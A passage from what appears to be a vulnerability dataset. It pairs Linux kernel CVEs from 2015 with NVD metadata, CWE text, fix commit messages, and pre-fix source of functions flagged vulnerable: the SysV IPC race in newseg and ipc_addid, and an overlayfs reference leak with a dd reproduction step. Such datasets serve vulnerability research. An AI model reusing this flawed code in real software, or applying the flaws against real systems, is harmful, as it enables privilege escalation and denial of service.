'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034094', 'name': '1034094', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00030.html', 'name': 'SUSE-SU-2015:2089', 'refsource': 'SUSE', 'tags': []}, {'url': 'https://kc.mcafee.com/corporate/index?page=content&id=SB10146', 'name': 'https://kc.mcafee.com/corporate/index?page=content&id=SB10146', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00026.html', 'name': 'SUSE-SU-2015:2084', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00027.html', 'name': 'SUSE-SU-2015:2085', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-2636.html', 'name': 'RHSA-2015:2636', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2792-1', 'name': 'USN-2792-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2763-1', 'name': 'USN-2763-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2761-1', 'name': 'USN-2761-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2764-1', 'name': 'USN-2764-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2762-1', 'name': 'USN-2762-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2765-1', 'name': 'USN-2765-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Race condition in the IPC object implementation in the Linux kernel through 4.2.3 allows local users to gain privileges by triggering an ipc_addid call that leads to uid and gid comparisons against uninitialized data, related to msg.c, shm.c, and util.c.'}]
2016-12-08T03:13Z
2015-10-19T10:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Linus Torvalds
2015-09-30 12:48:40-04:00
Initialize msg/shm IPC objects before doing ipc_addid() As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before having initialized the IPC object state. Yes, we initialize the IPC object in a locked state, but with all the lockless RCU lookup work, that IPC object lock no longer means that the state cannot be seen. We already did this for the IPC semaphore code (see commit e8577d1f0329: "ipc/sem.c: fully initialize sem_array before making it visible") but we clearly forgot about msg and shm. Reported-by: Dmitry Vyukov <[email protected]> Cc: Manfred Spraul <[email protected]> Cc: Davidlohr Bueso <[email protected]> Cc: [email protected] Signed-off-by: Linus Torvalds <[email protected]>
b9a532277938798b53178d5a66af6e2915cb27cf
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
newseg
newseg( struct ipc_namespace * ns , struct ipc_params * params)
['ns', 'params']
static int newseg(struct ipc_namespace *ns, struct ipc_params *params) { key_t key = params->key; int shmflg = params->flg; size_t size = params->u.size; int error; struct shmid_kernel *shp; size_t numpages = (size + PAGE_SIZE - 1) >> PAGE_SHIFT; struct file *file; char name[13]; int id; vm_flags_t acctflag = 0; if (size < SHMMIN || size > ns->shm_ctlmax) return -EINVAL; if (numpages << PAGE_SHIFT < size) return -ENOSPC; if (ns->shm_tot + numpages < ns->shm_tot || ns->shm_tot + numpages > ns->shm_ctlall) return -ENOSPC; shp = ipc_rcu_alloc(sizeof(*shp)); if (!shp) return -ENOMEM; shp->shm_perm.key = key; shp->shm_perm.mode = (shmflg & S_IRWXUGO); shp->mlock_user = NULL; shp->shm_perm.security = NULL; error = security_shm_alloc(shp); if (error) { ipc_rcu_putref(shp, ipc_rcu_free); return error; } sprintf(name, "SYSV%08x", key); if (shmflg & SHM_HUGETLB) { struct hstate *hs; size_t hugesize; hs = hstate_sizelog((shmflg >> SHM_HUGE_SHIFT) & SHM_HUGE_MASK); if (!hs) { error = -EINVAL; goto no_file; } hugesize = ALIGN(size, huge_page_size(hs)); /* hugetlb_file_setup applies strict accounting */ if (shmflg & SHM_NORESERVE) acctflag = VM_NORESERVE; file = hugetlb_file_setup(name, hugesize, acctflag, &shp->mlock_user, HUGETLB_SHMFS_INODE, (shmflg >> SHM_HUGE_SHIFT) & SHM_HUGE_MASK); } else { /* * Do not allow no accounting for OVERCOMMIT_NEVER, even * if it's asked for. */ if ((shmflg & SHM_NORESERVE) && sysctl_overcommit_memory != OVERCOMMIT_NEVER) acctflag = VM_NORESERVE; file = shmem_kernel_file_setup(name, size, acctflag); } error = PTR_ERR(file); if (IS_ERR(file)) goto no_file; id = ipc_addid(&shm_ids(ns), &shp->shm_perm, ns->shm_ctlmni); if (id < 0) { error = id; goto no_id; } shp->shm_cprid = task_tgid_vnr(current); shp->shm_lprid = 0; shp->shm_atim = shp->shm_dtim = 0; shp->shm_ctim = get_seconds(); shp->shm_segsz = size; shp->shm_nattch = 0; shp->shm_file = file; shp->shm_creator = current; list_add(&shp->shm_clist, &current->sysvshm.shm_clist); /* * shmid gets reported as "inode#" in /proc/pid/maps. * proc-ps tools use this. Changing this will break them. */ file_inode(file)->i_ino = shp->shm_perm.id; ns->shm_tot += numpages; error = shp->shm_perm.id; ipc_unlock_object(&shp->shm_perm); rcu_read_unlock(); return error; no_id: if (is_file_hugepages(file) && shp->mlock_user) user_shm_unlock(size, shp->mlock_user); fput(file); no_file: ipc_rcu_putref(shp, shm_rcu_free); return error; }
548
True
1
CVE-2015-7613
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.openwall.com/lists/oss-security/2015/10/01/8', 'name': '[oss-security] 20151001 CVE Request: Unauthorized access to IPC objects with SysV shm', 'refsource': 'MLIST', 'tags': ['Exploit']}, {'url': 'https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf', 'name': 'https://github.com/torvalds/linux/commit/b9a532277938798b53178d5a66af6e2915cb27cf', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1268270', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1268270', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b9a532277938798b53178d5a66af6e2915cb27cf', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b9a532277938798b53178d5a66af6e2915cb27cf', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/76977', 'name': '76977', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00029.html', 'name': 'SUSE-SU-2015:2087', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00028.html', 'name': 'SUSE-SU-2015:2086', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00032.html', 'name': 'SUSE-SU-2015:2091', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034592', 'name': '1034592', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00031.html', 'name': 'SUSE-SU-2015:2090', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034094', 'name': '1034094', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00030.html', 'name': 'SUSE-SU-2015:2089', 'refsource': 'SUSE', 'tags': []}, {'url': 'https://kc.mcafee.com/corporate/index?page=content&id=SB10146', 'name': 'https://kc.mcafee.com/corporate/index?page=content&id=SB10146', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3372', 'name': 'DSA-3372', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00026.html', 'name': 'SUSE-SU-2015:2084', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00027.html', 'name': 'SUSE-SU-2015:2085', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-2636.html', 'name': 'RHSA-2015:2636', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2792-1', 'name': 'USN-2792-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2763-1', 'name': 'USN-2763-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2761-1', 'name': 'USN-2761-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2764-1', 'name': 'USN-2764-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2762-1', 'name': 'USN-2762-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2765-1', 'name': 'USN-2765-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-10/msg00009.html', 'name': 'SUSE-SU-2015:1727', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.3', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'Race condition in the IPC object implementation in the Linux kernel through 4.2.3 allows local users to gain privileges by triggering an ipc_addid call that leads to uid and gid comparisons against uninitialized data, related to msg.c, shm.c, and util.c.'}]
2016-12-08T03:13Z
2015-10-19T10:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Linus Torvalds
2015-09-30 12:48:40-04:00
Initialize msg/shm IPC objects before doing ipc_addid() As reported by Dmitry Vyukov, we really shouldn't do ipc_addid() before having initialized the IPC object state. Yes, we initialize the IPC object in a locked state, but with all the lockless RCU lookup work, that IPC object lock no longer means that the state cannot be seen. We already did this for the IPC semaphore code (see commit e8577d1f0329: "ipc/sem.c: fully initialize sem_array before making it visible") but we clearly forgot about msg and shm. Reported-by: Dmitry Vyukov <[email protected]> Cc: Manfred Spraul <[email protected]> Cc: Davidlohr Bueso <[email protected]> Cc: [email protected] Signed-off-by: Linus Torvalds <[email protected]>
b9a532277938798b53178d5a66af6e2915cb27cf
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
ipc_addid
ipc_addid( struct ipc_ids * ids , struct kern_ipc_perm * new , int size)
['ids', 'new', 'size']
int ipc_addid(struct ipc_ids *ids, struct kern_ipc_perm *new, int size) { kuid_t euid; kgid_t egid; int id; int next_id = ids->next_id; if (size > IPCMNI) size = IPCMNI; if (ids->in_use >= size) return -ENOSPC; idr_preload(GFP_KERNEL); spin_lock_init(&new->lock); new->deleted = false; rcu_read_lock(); spin_lock(&new->lock); id = idr_alloc(&ids->ipcs_idr, new, (next_id < 0) ? 0 : ipcid_to_idx(next_id), 0, GFP_NOWAIT); idr_preload_end(); if (id < 0) { spin_unlock(&new->lock); rcu_read_unlock(); return id; } ids->in_use++; current_euid_egid(&euid, &egid); new->cuid = new->uid = euid; new->gid = new->cgid = egid; if (next_id < 0) { new->seq = ids->seq++; if (ids->seq > IPCID_SEQ_MAX) ids->seq = 0; } else { new->seq = ipcid_to_seqx(next_id); ids->next_id = -1; } new->id = ipc_buildid(id, new->seq); return id; }
242
True
1
CVE-2015-8953
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ab79efab0a0ba01a74df782eb7fa44b044dae8b5', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ab79efab0a0ba01a74df782eb7fa44b044dae8b5', 'refsource': 'CONFIRM', 'tags': ['Exploit', 'Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1367814', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1367814', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Third Party Advisory', 'VDB Entry']}, {'url': 'https://github.com/torvalds/linux/commit/ab79efab0a0ba01a74df782eb7fa44b044dae8b5', 'name': 'https://github.com/torvalds/linux/commit/ab79efab0a0ba01a74df782eb7fa44b044dae8b5', 'refsource': 'CONFIRM', 'tags': ['Patch']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/08/23/9', 'name': '[oss-security] 20160823 cve request: overlayfs: Fix dentry reference leak', 'refsource': 'MLIST', 'tags': ['Exploit', 'Third Party Advisory']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.6', 'refsource': 'CONFIRM', 'tags': ['Release Notes', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/92611', 'name': '92611', 'refsource': 'BID', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-399'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.5', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'fs/overlayfs/copy_up.c in the Linux kernel before 4.2.6 uses an incorrect cleanup code path, which allows local users to cause a denial of service (dentry reference leak) via filesystem operations on a large file in a lower overlayfs layer.'}]
2016-11-28T19:50Z
2016-10-16T21:59Z
Resource Management Errors
Weaknesses in this category are related to improper management of system resources.
https://cwe.mitre.org/data/definitions/399.html
1
David Howells
2015-09-18 11:45:22+01:00
ovl: fix dentry reference leak In ovl_copy_up_locked(), newdentry is leaked if the function exits through out_cleanup as this just to out after calling ovl_cleanup() - which doesn't actually release the ref on newdentry. The out_cleanup segment should instead exit through out2 as certainly newdentry leaks - and possibly upper does also, though this isn't caught given the catch of newdentry. Without this fix, something like the following is seen: BUG: Dentry ffff880023e9eb20{i=f861,n=#ffff880023e82d90} still in use (1) [unmount of tmpfs tmpfs] BUG: Dentry ffff880023ece640{i=0,n=bigfile} still in use (1) [unmount of tmpfs tmpfs] when unmounting the upper layer after an error occurred in copyup. An error can be induced by creating a big file in a lower layer with something like: dd if=/dev/zero of=/lower/a/bigfile bs=65536 count=1 seek=$((0xf000)) to create a large file (4.1G). Overlay an upper layer that is too small (on tmpfs might do) and then induce a copy up by opening it writably. Reported-by: Ulrich Obergfell <[email protected]> Signed-off-by: David Howells <[email protected]> Signed-off-by: Miklos Szeredi <[email protected]> Cc: <[email protected]> # v3.18+
ab79efab0a0ba01a74df782eb7fa44b044dae8b5
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
ovl_copy_up_locked
ovl_copy_up_locked( struct dentry * workdir , struct dentry * upperdir , struct dentry * dentry , struct path * lowerpath , struct kstat * stat , struct iattr * attr , const char * link)
['workdir', 'upperdir', 'dentry', 'lowerpath', 'stat', 'attr', 'link']
static int ovl_copy_up_locked(struct dentry *workdir, struct dentry *upperdir, struct dentry *dentry, struct path *lowerpath, struct kstat *stat, struct iattr *attr, const char *link) { struct inode *wdir = workdir->d_inode; struct inode *udir = upperdir->d_inode; struct dentry *newdentry = NULL; struct dentry *upper = NULL; umode_t mode = stat->mode; int err; newdentry = ovl_lookup_temp(workdir, dentry); err = PTR_ERR(newdentry); if (IS_ERR(newdentry)) goto out; upper = lookup_one_len(dentry->d_name.name, upperdir, dentry->d_name.len); err = PTR_ERR(upper); if (IS_ERR(upper)) goto out1; /* Can't properly set mode on creation because of the umask */ stat->mode &= S_IFMT; err = ovl_create_real(wdir, newdentry, stat, link, NULL, true); stat->mode = mode; if (err) goto out2; if (S_ISREG(stat->mode)) { struct path upperpath; ovl_path_upper(dentry, &upperpath); BUG_ON(upperpath.dentry != NULL); upperpath.dentry = newdentry; err = ovl_copy_up_data(lowerpath, &upperpath, stat->size); if (err) goto out_cleanup; } err = ovl_copy_xattr(lowerpath->dentry, newdentry); if (err) goto out_cleanup; mutex_lock(&newdentry->d_inode->i_mutex); err = ovl_set_attr(newdentry, stat); if (!err && attr) err = notify_change(newdentry, attr, NULL); mutex_unlock(&newdentry->d_inode->i_mutex); if (err) goto out_cleanup; err = ovl_do_rename(wdir, newdentry, udir, upper, 0); if (err) goto out_cleanup; ovl_dentry_update(dentry, newdentry); newdentry = NULL; /* * Non-directores become opaque when copied up. */ if (!S_ISDIR(stat->mode)) ovl_dentry_set_opaque(dentry, true); out2: dput(upper); out1: dput(newdentry); out: return err; out_cleanup: ovl_cleanup(wdir, newdentry); goto out; }
391
True
1
CVE-2015-7872
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:P
LOCAL
LOW
NONE
NONE
NONE
PARTIAL
2.1
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce1fad2740c648a4340f6f6c391a8a83769d2e8c', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce1fad2740c648a4340f6f6c391a8a83769d2e8c', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/ce1fad2740c648a4340f6f6c391a8a83769d2e8c', 'name': 'https://github.com/torvalds/linux/commit/ce1fad2740c648a4340f6f6c391a8a83769d2e8c', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/f05819df10d7b09f6d1eb6f8534a8f68e5a4fe61', 'name': 'https://github.com/torvalds/linux/commit/f05819df10d7b09f6d1eb6f8534a8f68e5a4fe61', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1272172', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1272172', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/10/20/6', 'name': '[oss-security] 20151020 Re: CVE request: crash when attempt to garbage collect an uninstantiated keyring - Linux kernel', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f05819df10d7b09f6d1eb6f8534a8f68e5a4fe61', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f05819df10d7b09f6d1eb6f8534a8f68e5a4fe61', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1272371', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1272371', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05068676', 'name': 'https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05068676', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://marc.info/?l=bugtraq&m=145975164525836&w=2', 'name': 'HPSBGN03565', 'refsource': 'HP', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/77544', 'name': '77544', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00038.html', 'name': 'SUSE-SU-2016:2074', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00015.html', 'name': 'openSUSE-SU-2016:1008', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0212.html', 'name': 'RHSA-2016:0212', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0185.html', 'name': 'RHSA-2016:0185', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0224.html', 'name': 'RHSA-2016:0224', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00021.html', 'name': 'SUSE-SU-2016:0386', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00009.html', 'name': 'SUSE-SU-2016:0337', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00007.html', 'name': 'SUSE-SU-2016:0335', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00018.html', 'name': 'SUSE-SU-2016:0381', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00017.html', 'name': 'SUSE-SU-2016:0380', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00020.html', 'name': 'SUSE-SU-2016:0384', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00022.html', 'name': 'SUSE-SU-2016:0387', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00034.html', 'name': 'SUSE-SU-2016:0434', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00019.html', 'name': 'SUSE-SU-2016:0383', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00013.html', 'name': 'SUSE-SU-2016:0354', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2843-1', 'name': 'USN-2843-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00035.html', 'name': 'SUSE-SU-2015:2108', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2824-1', 'name': 'USN-2824-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3396', 'name': 'DSA-3396', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00005.html', 'name': 'SUSE-SU-2015:2194', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00026.html', 'name': 'SUSE-SU-2015:2339', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-2636.html', 'name': 'RHSA-2015:2636', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2843-2', 'name': 'USN-2843-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2823-1', 'name': 'USN-2823-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2826-1', 'name': 'USN-2826-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-1', 'name': 'USN-2829-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2840-2', 'name': 'USN-2840-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1034472', 'name': '1034472', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00031.html', 'name': 'SUSE-SU-2015:2350', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2843-3', 'name': 'USN-2843-3', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2829-2', 'name': 'USN-2829-2', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-12/msg00018.html', 'name': 'SUSE-SU-2015:2292', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2840-1', 'name': 'USN-2840-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'https://source.android.com/security/bulletin/2016-12-01.html', 'name': 'https://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-20'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.2.6', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The key_gc_unused_keys function in security/keys/gc.c in the Linux kernel through 4.2.6 allows local users to cause a denial of service (OOPS) via crafted keyctl commands.'}]
2017-01-20T02:59Z
2015-11-16T11:59Z
Improper Input Validation
